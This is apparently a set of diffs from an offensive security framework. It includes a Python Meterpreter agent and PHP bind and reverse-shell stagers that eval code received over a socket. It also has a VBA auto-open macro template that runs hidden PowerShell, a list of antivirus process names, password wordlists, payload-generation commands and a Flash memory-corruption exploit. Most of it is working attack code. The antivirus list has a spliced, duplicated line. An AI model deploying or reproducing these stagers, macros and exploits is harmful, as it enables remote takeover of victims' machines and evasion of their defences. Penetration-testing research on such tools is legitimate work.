elif isinstance(channel, MeterpreterFile):
channel.close()
elif isinstance(channel, MeterpreterSocket):
channel.close()
else:
return ERROR_FAILURE, response
del self.channels[channel_id]
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
return ERROR_SUCCESS, response
def _core_channel_eof(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
result = False
if isinstance(channel, MeterpreterFile):
result = channel.tell() >= os.fstat(channel.fileno()).st_size
response += tlv_pack(TLV_TYPE_BOOL, result)
return ERROR_SUCCESS, response
def _core_channel_interact(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value']
if toggle:
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
else:
self.interact_channels.append(channel_id)
elif channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
return ERROR_SUCCESS, response
def _core_channel_read(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
data = ''
if isinstance(channel, STDProcess):
if channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
if channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read(length)
elif isinstance(channel, MeterpreterFile):
data = channel.read(length)
elif isinstance(channel, MeterpreterSocket):
data = channel.recv(length)
else:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
return ERROR_SUCCESS, response
def _core_channel_write(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
l = len(channel_data)
if isinstance(channel, subprocess.Popen):
if channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
return ERROR_FAILURE, response
channel.write(channel_data)
elif isinstance(channel, MeterpreterFile):
channel.write(channel_data)
elif isinstance(channel, MeterpreterSocket):
try:
l = channel.send(channel_data)
except socket.error:
channel.close()
self.handle_dead_resource_channel(channel_id)
return ERROR_FAILURE, response
else:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_LENGTH, l)
return ERROR_SUCCESS, response
def create_response(self, request):
resp = struct.pack('>I', PACKET_TYPE_RESPONSE)
method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD)
resp += tlv_pack(method_tlv)
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
resp += tlv_pack(reqid_tlv)
handler_name = method_tlv['value']
if handler_name in self.extension_functions:
handler = self.extension_functions[handler_name]
try:
self.debug_print('[*] running method ' + handler_name)
result, resp = handler(request, resp)
except Exception:
self.debug_print('[-] method ' + handler_name + ' resulted in an error')
if DEBUGGING:
traceback.print_exc(file=sys.stderr)
result = error_result()
else:
self.debug_print('[-] method ' + handler_name + ' was requested but does not exist')
result = error_result(NotImplementedError)
resp += tlv_pack(TLV_TYPE_RESULT, result)
resp = struct.pack('>I', len(resp) + 4) + resp
return resp
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
if hasattr(os, 'setsid'):
try:
os.setsid()
except OSError:
pass
if HTTP_CONNECTION_URL and has_urllib:
met = PythonMeterpreter()
else:
met = PythonMeterpreter(s)
met.run()

View File

@ -1,56 +0,0 @@
#<?php
# The payload handler overwrites this with the correct LPORT before sending
# it to the victim.
$port = 4444;
$ipaddr = "0.0.0.0";
if (is_callable('stream_socket_server')) {
$srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}");
if (!$srvsock) { die(); }
$s = stream_socket_accept($srvsock, -1);
fclose($srvsock);
$s_type = 'stream';
} elseif (is_callable('socket_create_listen')) {
$srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP);
if (!$res) { die(); }
$s = socket_accept($srvsock);
socket_close($srvsock);
$s_type = 'socket';
} elseif (is_callable('socket_create')) {
$srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$res = socket_bind($srvsock, $ipaddr, $port);
if (!$res) { die(); }
$s = socket_accept($srvsock);
socket_close($srvsock);
$s_type = 'socket';
} else {
die();
}
if (!$s) { die(); }
switch ($s_type) {
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) {
# We failed on the main socket. There's no way to continue, so
# bail
die();
}
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($b) < $len) {
switch ($s_type) {
case 'stream': $b .= fread($s, $len-strlen($b)); break;
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
}
}
# Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
eval($b);
die();

View File

@ -1,53 +0,0 @@
#<?php
# The payload handler overwrites this with the correct LPORT before sending
# it to the victim.
$port = 4444;
$ipaddr = "::";
if (is_callable('stream_socket_server')) {
$srvsock = stream_socket_server("tcp://[{$ipaddr}]:{$port}");
if (!$srvsock) { die(); }
$s = stream_socket_accept($srvsock, -1);
$s_type = 'stream';
} elseif (is_callable('socket_create_listen')) {
$srvsock = socket_create_listen(AF_INET6, SOCK_STREAM, SOL_TCP);
if (!$res) { die(); }
$s = socket_accept($srvsock);
$s_type = 'socket';
} elseif (is_callable('socket_create')) {
$srvsock = socket_create(AF_INET6, SOCK_STREAM, SOL_TCP);
$res = socket_bind($srvsock, $ipaddr, $port);
if (!$res) { die(); }
$s = socket_accept($srvsock);
$s_type = 'socket';
} else {
die();
}
if (!$s) { die(); }
switch ($s_type) {
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) {
# We failed on the main socket. There's no way to continue, so
# bail
die();
}
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($b) < $len) {
switch ($s_type) {
case 'stream': $b .= fread($s, $len-strlen($b)); break;
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
}
}
# Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
eval($b);
die();

View File

@ -1,56 +0,0 @@
#<?php
error_reporting(0);
# The payload handler overwrites this with the correct LHOST before sending
# it to the victim.
$ip = '127.0.0.1';
$port = 4444;
$ipf = AF_INET;
if (FALSE !== strpos($ip, ":")) {
# ipv6 requires brackets around the address
$ip = "[". $ip ."]";
$ipf = AF_INET6;
}
if (($f = 'stream_socket_client') && is_callable($f)) {
$s = $f("tcp://{$ip}:{$port}");
$s_type = 'stream';
} elseif (($f = 'fsockopen') && is_callable($f)) {
$s = $f($ip, $port);
$s_type = 'stream';
} elseif (($f = 'socket_create') && is_callable($f)) {
$s = $f($ipf, SOCK_STREAM, SOL_TCP);
$res = @socket_connect($s, $ip, $port);
if (!$res) { die(); }
$s_type = 'socket';
} else {
die('no socket funcs');
}
if (!$s) { die('no socket'); }
switch ($s_type) {
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) {
# We failed on the main socket. There's no way to continue, so
# bail
die();
}
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($b) < $len) {
switch ($s_type) {
case 'stream': $b .= fread($s, $len-strlen($b)); break;
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
}
}
# Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
eval($b);
die();

View File

@ -0,0 +1,12 @@
Sub %{sub_auto_open}()
Dim %{var_powershell}
%{var_powershell} = %{powershell}
Call Shell(%{var_powershell}, vbHide)
End Sub
Sub AutoOpen()
%{sub_auto_open}
End Sub
Sub Workbook_Open()
%{sub_auto_open}
End Sub

View File

@ -169,7 +169,7 @@
userid: 'self',
stream: stream
});
callback(stream);
});
}
@ -178,7 +178,7 @@
<body>
<div class="windowa" id="windowa">
<b>You peer</b>
<b>Your peer</b>
</div>
<div class="dot1"></div>
@ -199,4 +199,4 @@
</div>
</body>
</html>
</html>

View File

@ -0,0 +1,614 @@
emet_agent.exe
emet_service.exe
firesvc.exe
firetray.exe
hipsvc.exe
mfevtps.exe
mcafeefire.exe
scan32.exe
shstat.exe
tbmon.exe
vstskmgr.exe
engineserver.exe
mfevtps.exe
mfeann.exe
mcscript.exe
updaterui.exe
udaterui.exe
naprdmgr.exe
frameworkservice.exe
cleanup.exe
cmdagent.exe
frminst.exe
mcscript_inuse.exe
mctray.exe
mcshield.exe
AAWTray.exe
Ad-Aware.exe
MSASCui.exe
_avp32.exe
_avpcc.exe
_avpm.exe
aAvgApi.exe
ackwin32.exe
adaware.exe
advxdwin.exe
agentsvr.exe
agentw.exe
alertsvc.exe
alevir.exe
alogserv.exe
amon9x.exe
anti-trojan.exe
antivirus.exe
ants.exe
apimonitor.exe
aplica32.exe
apvxdwin.exe
arr.exe
atcon.exe
atguard.exe
atro55en.exe
atupdater.exe
atwatch.exe
au.exe
aupdate.exe
auto-protect.nav80try.exe
autodown.exe
autotrace.exe
autoupdate.exe
avconsol.exe
ave32.exe
avgcc32.exe
avgctrl.exe
avgemc.exe
avgnt.exe
avgrsx.exe
avgserv.exe
avgserv9.exe
avguard.exe
avgw.exe
avkpop.exe
avkserv.exe
avkservice.exe
avkwctl9.exe
avltmain.exe
avnt.exe
avp.exe
avp.exe
avp32.exe
avpcc.exe
avpdos32.exe
avpm.exe
avptc32.exe
avpupd.exe
avsched32.exe
avsynmgr.exe
avwin.exe
avwin95.exe
avwinnt.exe
avwupd.exe
avwupd32.exe
avwupsrv.exe
avxmonitor9x.exe
avxmonitornt.exe
avxquar.exe
backweb.exe
bargains.exe
bd_professional.exe
beagle.exe
belt.exe
bidef.exe
bidserver.exe
bipcp.exe
bipcpevalsetup.exe
bisp.exe
blackd.exe
blackice.exe
blink.exe
blss.exe
bootconf.exe
bootwarn.exe
borg2.exe
bpc.exe
brasil.exe
bs120.exe
bundle.exe
bvt.exe
ccapp.exe
ccevtmgr.exe
ccpxysvc.exe
ccsvchst.exe
cdp.exe
cfd.exe
cfgwiz.exe
cfiadmin.exe
cfiaudit.exe
cfinet.exe
cfinet32.exe
claw95.exe
claw95cf.exe
clean.exe
cleaner.exe
cleaner3.exe
cleanpc.exe
click.exe
cmesys.exe
cmgrdian.exe
cmon016.exe
connectionmonitor.exe
cpd.exe
cpf9x206.exe
cpfnt206.exe
ctrl.exe
cv.exe
cwnb181.exe
cwntdwmo.exe
datemanager.exe
dcomx.exe
defalert.exe
defscangui.exe
defwatch.exe
deputy.exe
divx.exe
dllcache.exe
dllreg.exe
doors.exe
dpf.exe
dpfsetup.exe
dpps2.exe
drwatson.exe
drweb32.exe
drwebupw.exe
dssagent.exe
dvp95.exe
dvp95_0.exe
ecengine.exe
efpeadm.exe
emsw.exe
ent.exe
esafe.exe
escanhnt.exe
escanv95.exe
espwatch.exe
ethereal.exe
etrustcipe.exe
evpn.exe
exantivirus-cnet.exe
exe.avxw.exe
expert.exe
explore.exe
f-agnt95.exe
f-prot.exe
f-prot95.exe
f-stopw.exe
fameh32.exe
fast.exe
fch32.exe
fih32.exe
findviru.exe
firewall.exe
fnrb32.exe
fp-win.exe
fp-win_trial.exe
fprot.exe
frw.exe
fsaa.exe
fsav.exe
fsav32.exe
fsav530stbyb.exe
fsav530wtbyb.exe
fsav95.exe
fsgk32.exe
fsm32.exe
fsma32.exe
fsmb32.exe
gator.exe
gbmenu.exe
gbpoll.exe
generics.exe
gmt.exe
guard.exe
guarddog.exe
hacktracersetup.exe
hbinst.exe
hbsrv.exe
hotactio.exe
hotpatch.exe
htlog.exe
htpatch.exe
hwpe.exe
hxdl.exe
hxiul.exe
iamapp.exe
iamserv.exe
iamstats.exe
ibmasn.exe
ibmavsp.exe
icload95.exe
icloadnt.exe
icmon.exe
icsupp95.exe
icsuppnt.exe
idle.exe
iedll.exe
iedriver.exe
iface.exe
ifw2000.exe
inetlnfo.exe
infus.exe
infwin.exe
init.exe
intdel.exe
intren.exe
iomon98.exe
istsvc.exe
jammer.exe
jdbgmrg.exe
jedi.exe
kavlite40eng.exe
kavpers40eng.exe
kavpf.exe
kazza.exe
keenvalue.exe
kerio-pf-213-en-win.exe
kerio-wrl-421-en-win.exe
kerio-wrp-421-en-win.exe
kernel32.exe
killprocesssetup161.exe
launcher.exe
ldnetmon.exe
ldpro.exe
ldpromenu.exe
ldscan.exe
lnetinfo.exe
loader.exe
localnet.exe
lockdown.exe
lockdown2000.exe
lookout.exe
lordpe.exe
lsetup.exe
luall.exe
luau.exe
lucomserver.exe
luinit.exe
luspt.exe
mapisvc32.exe
mcagent.exe
mcmnhdlr.exe
mcshield.exe
mctool.exe
mcupdate.exe
mcvsrte.exe
mcvsshld.exe
md.exe
mfin32.exe
mfw2en.exe
mfweng3.02d30.exe
mgavrtcl.exe
mgavrte.exe
mghtml.exe
mgui.exe
minilog.exe
mmod.exe
monitor.exe
moolive.exe
mostat.exe
mpfagent.exe
mpfservice.exe
mpftray.exe
mrflux.exe
msapp.exe
msbb.exe
msblast.exe
mscache.exe
msccn32.exe
mscman.exe
msconfig.exe
msdm.exe
msdos.exe
msiexec16.exe
msinfo32.exe
mslaugh.exe
msmgt.exe
msmsgri32.exe
mssmmc32.exe
mssys.exe
msvxd.exe
mu0311ad.exe
mwatch.exe
n32scanw.exe
nav.exe
navap.navapsvc.exe
navapsvc.exe
navapw32.exe
navdx.exe
navlu32.exe
navnt.exe
navstub.exe
navw32.exe
navwnt.exe
nc2000.exe
ncinst4.exe
ndd32.exe
neomonitor.exe
neowatchlog.exe
netarmor.exe
netd32.exe
netinfo.exe
netmon.exe
netscanpro.exe
netspyhunter-1.2.exe
netstat.exe
netutils.exe
nisserv.exe
nisum.exe
nmain.exe
nod32.exe
normist.exe
norton_internet_secu_3.0_407.exe
notstart.exe
npf40_tw_98_nt_me_2k.exe
npfmessenger.exe
nprotect.exe
npscheck.exe
npssvc.exe
nsched32.exe
nssys32.exe
nstask32.exe
nsupdate.exe
nt.exe
ntrtscan.exe
ntvdm.exe
ntxconfig.exe
nui.exe
nupgrade.exe
nvarch16.exe
nvc95.exe
nvsvc32.exe
nwinst4.exe
nwservice.exe
nwtool16.exe
ollydbg.exe
onsrvr.exe
optimize.exe
ostronet.exe
otfix.exe
outpost.exe
outpostinstall.exe
outpostproinstall.exe
padmin.exe
panixk.exe
patch.exe
pavcl.exe
pavproxy.exe
pavsched.exe
pavw.exe
pccwin98.exe
pcfwallicon.exe
pcip10117_0.exe
pcscan.exe
pdsetup.exe
periscope.exe
persfw.exe
perswf.exe
pf2.exe
pfwadmin.exe
pgmonitr.exe
pingscan.exe
platin.exe
pop3trap.exe
poproxy.exe
popscan.exe
portdetective.exe
portmonitor.exe
powerscan.exe
ppinupdt.exe
pptbc.exe
ppvstop.exe
prizesurfer.exe
prmt.exe
prmvr.exe
procdump.exe
processmonitor.exe
procexplorerv1.0.exe
programauditor.exe
proport.exe
protectx.exe
pspf.exe
purge.exe
qconsole.exe
qserver.exe
rapapp.exe
rav7.exe
rav7win.exe
rav8win32eng.exe
ray.exe
rb32.exe
rcsync.exe
realmon.exe
reged.exe
regedit.exe
regedt32.exe
rescue.exe
rescue32.exe
rrguard.exe
rshell.exe
rtvscan.exe
rtvscn95.exe
rulaunch.exe
run32dll.exe
rundll.exe
rundll16.exe
ruxdll32.exe
safeweb.exe
sahagent.exescan32.exe
shstat.exe
tbmon.exe
vstskmgr.exe
engineserver.exe
mfevtps.exe
mfeann.exe
mcscript.exe
updaterui.exe
udaterui.exe
naprdmgr.exe
frameworkservice.exe
cleanup.exe
cmdagent.exe
frminst.exe
mcscript_inuse.exe
mctray.exe
mcshield.exe
save.exe
savenow.exe
sbserv.exe
sc.exe
scam32.exe
scan32.exe
scan95.exe
scanpm.exe
scrscan.exe
serv95.exe
setup_flowprotector_us.exe
setupvameeval.exe
sfc.exe
sgssfw32.exe
sh.exe
shellspyinstall.exe
shn.exe
showbehind.exe
smc.exe
sms.exe
smss32.exe
soap.exe
sofi.exe
sperm.exe
spf.exe
sphinx.exe
spoler.exe
spoolcv.exe
spoolsv32.exe
spyxx.exe
srexe.exe
srng.exe
ss3edit.exe
ssg_4104.exe
ssgrate.exe
st2.exe
start.exe
stcloader.exe
supftrl.exe
support.exe
supporter5.exe
svchostc.exe
svchosts.exe
sweep95.exe
sweepnet.sweepsrv.sys.swnetsup.exe
symproxysvc.exe
symtray.exe
sysedit.exe
sysupd.exe
taskmg.exe
taskmo.exe
taumon.exe
tbscan.exe
tc.exe
tca.exe
tcm.exe
tds-3.exe
tds2-98.exe
tds2-nt.exe
teekids.exe
tfak.exe
tfak5.exe
tgbob.exe
titanin.exe
titaninxp.exe
tracert.exe
trickler.exe
trjscan.exe
trjsetup.exe
trojantrap3.exe
tsadbot.exe
tvmd.exe
tvtmd.exe
undoboot.exe
updat.exe
update.exe
upgrad.exe
utpost.exe
vbcmserv.exe
vbcons.exe
vbust.exe
vbwin9x.exe
vbwinntw.exe
vcsetup.exe
vet32.exe
vet95.exe
vettray.exe
vfsetup.exe
vir-help.exe
virusmdpersonalfirewall.exe
vnlan300.exe
vnpc3000.exe
vpc32.exe
vpc42.exe
vpfw30s.exe
vptray.exe
vscan40.exe
vscenu6.02d30.exe
vsched.exe
vsecomr.exe
vshwin32.exe
vsisetup.exe
vsmain.exe
vsmon.exe
vsstat.exe
vswin9xe.exe
vswinntse.exe
vswinperse.exe
w32dsm89.exe
w9x.exe
watchdog.exe
webdav.exe
webscanx.exe
webtrap.exe
wfindv32.exe
whoswatchingme.exe
wimmun32.exe
win-bugsfix.exe
win32.exe
win32us.exe
winactive.exe
window.exe
windows.exe
wininetd.exe
wininitx.exe
winlogin.exe
winmain.exe
winnet.exe
winppr32.exe
winrecon.exe
winservn.exe
winssk32.exe
winstart.exe
winstart001.exe
wintsk32.exe
winupdate.exe
wkufind.exe
wnad.exe
wnt.exe
wradmin.exe
wrctrl.exe
wsbgate.exe
wupdater.exe
wupdt.exe
wyvernworksfirewall.exe
xpf202en.exe
zapro.exe
zapsetup3001.exe
zatutor.exe
zonalm2601.exe
zonealarm.exe

View File

@ -0,0 +1,20 @@
qwerty
qwertyuiop
1qaz2wsx
qazwsx
asdfgh
zxcvbnm
1234qwer
q1w2e3r4t5
qwer1234
q1w2e3r4
asdfasdf
qazwsxedc
asdfghjkl
q1w2e3
1qazxsw2
12QWaszx
qweasdzxc
mnbvcxz
a1b2c3d4
adgjmptw

View File

@ -1002,4 +1002,5 @@ sq!us3r
adminpasswd
raspberry
74k&^*nh#$
arcsight
arcsight
MargaretThatcheris110%SEXY

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 20150421211719) do
ActiveRecord::Schema.define(version: 20150514182921) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
@ -684,9 +684,12 @@ ActiveRecord::Schema.define(version: 20150421211719) do
t.datetime "exploited_at"
t.integer "vuln_detail_count", default: 0
t.integer "vuln_attempt_count", default: 0
t.integer "origin_id"
t.string "origin_type"
end
add_index "vulns", ["name"], name: "index_vulns_on_name", using: :btree
add_index "vulns", ["origin_id"], name: "index_vulns_on_origin_id", using: :btree
create_table "vulns_refs", force: true do |t|
t.integer "ref_id"

View File

@ -2,12 +2,12 @@
dllbase = File.expand_path(File.dirname(__FILE__))
msfbase = File.expand_path(File.join(dllbase, "..", "..", ".."))
msfp = File.join(msfbase, "msfpayload")
msfv = File.join(msfbase, "msfvenom")
Dir.chdir(dllbase)
system("ruby #{msfp} windows/exec CMD=calc.exe X > runcalc.exe")
system("ruby #{msfp} windows/exec CMD=calc.exe D > runcalc.dll")
system("ruby #{msfp} windows/exec CMD='cmd.exe /c echo yes > exploited.txt' D > runtest.dll")
system("ruby #{msfp} windows/exec CMD='cmd.exe /c echo yes > exploited.txt' X > runtest.exe")
system("ruby #{msfv} -p windows/exec CMD=calc.exe -f exe -o runcalc.exe")
system("ruby #{msfv} -p windows/exec CMD=calc.exe -f dll -o runcalc.dll")
system("ruby #{msfv} -p windows/exec CMD='cmd.exe /c echo yes > exploited.txt' -f dll -o runtest.dll")
system("ruby #{msfv} -p windows/exec CMD='cmd.exe /c echo yes > exploited.txt' -f exe -o runtest.exe")

View File

@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,131 @@
//compile with AIR SDK 13.0: mxmlc Exploit.as -o msf.swf
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
package {
import flash.display.Sprite
import flash.utils.ByteArray
import flash.display.Shader
import flash.system.Capabilities
import flash.utils.Endian
import __AS3__.vec.Vector
import __AS3__.vec.*
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Exploit extends Sprite {
protected var Shad:Class
private var uv:Vector.<uint>
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
public function Exploit(){
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
var shader:Shader
if (platform == "linux") {
this.Shad = GraphShadLinux
} else {
this.Shad = GraphShadWindows
}
super()
var i:* = 0
var j:* = 0
var offset:int = -1
var corrupted_vector_idx:int = -1
// Memory massage
var array_length:uint = 0x10000
var vector_size:uint = 34
var array:Array = new Array()
i = 0
while (i < array_length)
{
array[i] = new Vector.<uint>(vector_size)
i++;
}
i = 0
while (i < array_length)
{
array[i].length = 0
i++
}
i = 0x0200
while (i < array_length)
{
array[(i - (2 * (j % 2)))].length = 0x0100
array[(i - (2 * (j % 2)))][0] = 0xdeedbeef
array[(i - (2 * (j % 2)))][2] = (i - (2 * (j % 2)))
i = (i + 28)
j++
}
// Overflow and Search for corrupted vector
var shadba:ByteArray = (new this.Shad() as ByteArray)
shadba.position = 0
shader = new Shader()
try
{
shader.byteCode = (new this.Shad() as ByteArray);
} catch(e) { }
i = 0
while (i < array_length)
{
if (array[i].length > 0x0100)
{
corrupted_vector_idx = i
break
}
i++
}
if (corrupted_vector_idx == -1) {
return
}
for(i = 0; i < array[corrupted_vector_idx].length; i++) {
if (array[corrupted_vector_idx][i] == 0x0100 && array[corrupted_vector_idx][i + 2] == 0xdeedbeef) {
array[corrupted_vector_idx][i] = 0xffffffff
offset = i
break
}
}
if (offset == -1) {
return
}
for(i = 0; i < array.length; i++) {
if (array[i].length == 0xffffffff) {
uv = array[i]
uv[0x3ffffffc - offset] = 34
}
}
for(i = 0; i < array.length; i++) {
if (array[i].length != 0xffffffff) {
delete(array[i])
array[i] = null
}
}
exploiter = new Exploiter(this, platform, os, payload, uv)
}
}
}

View File

@ -0,0 +1,85 @@
package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

View File

@ -0,0 +1,74 @@
package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 0x100
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
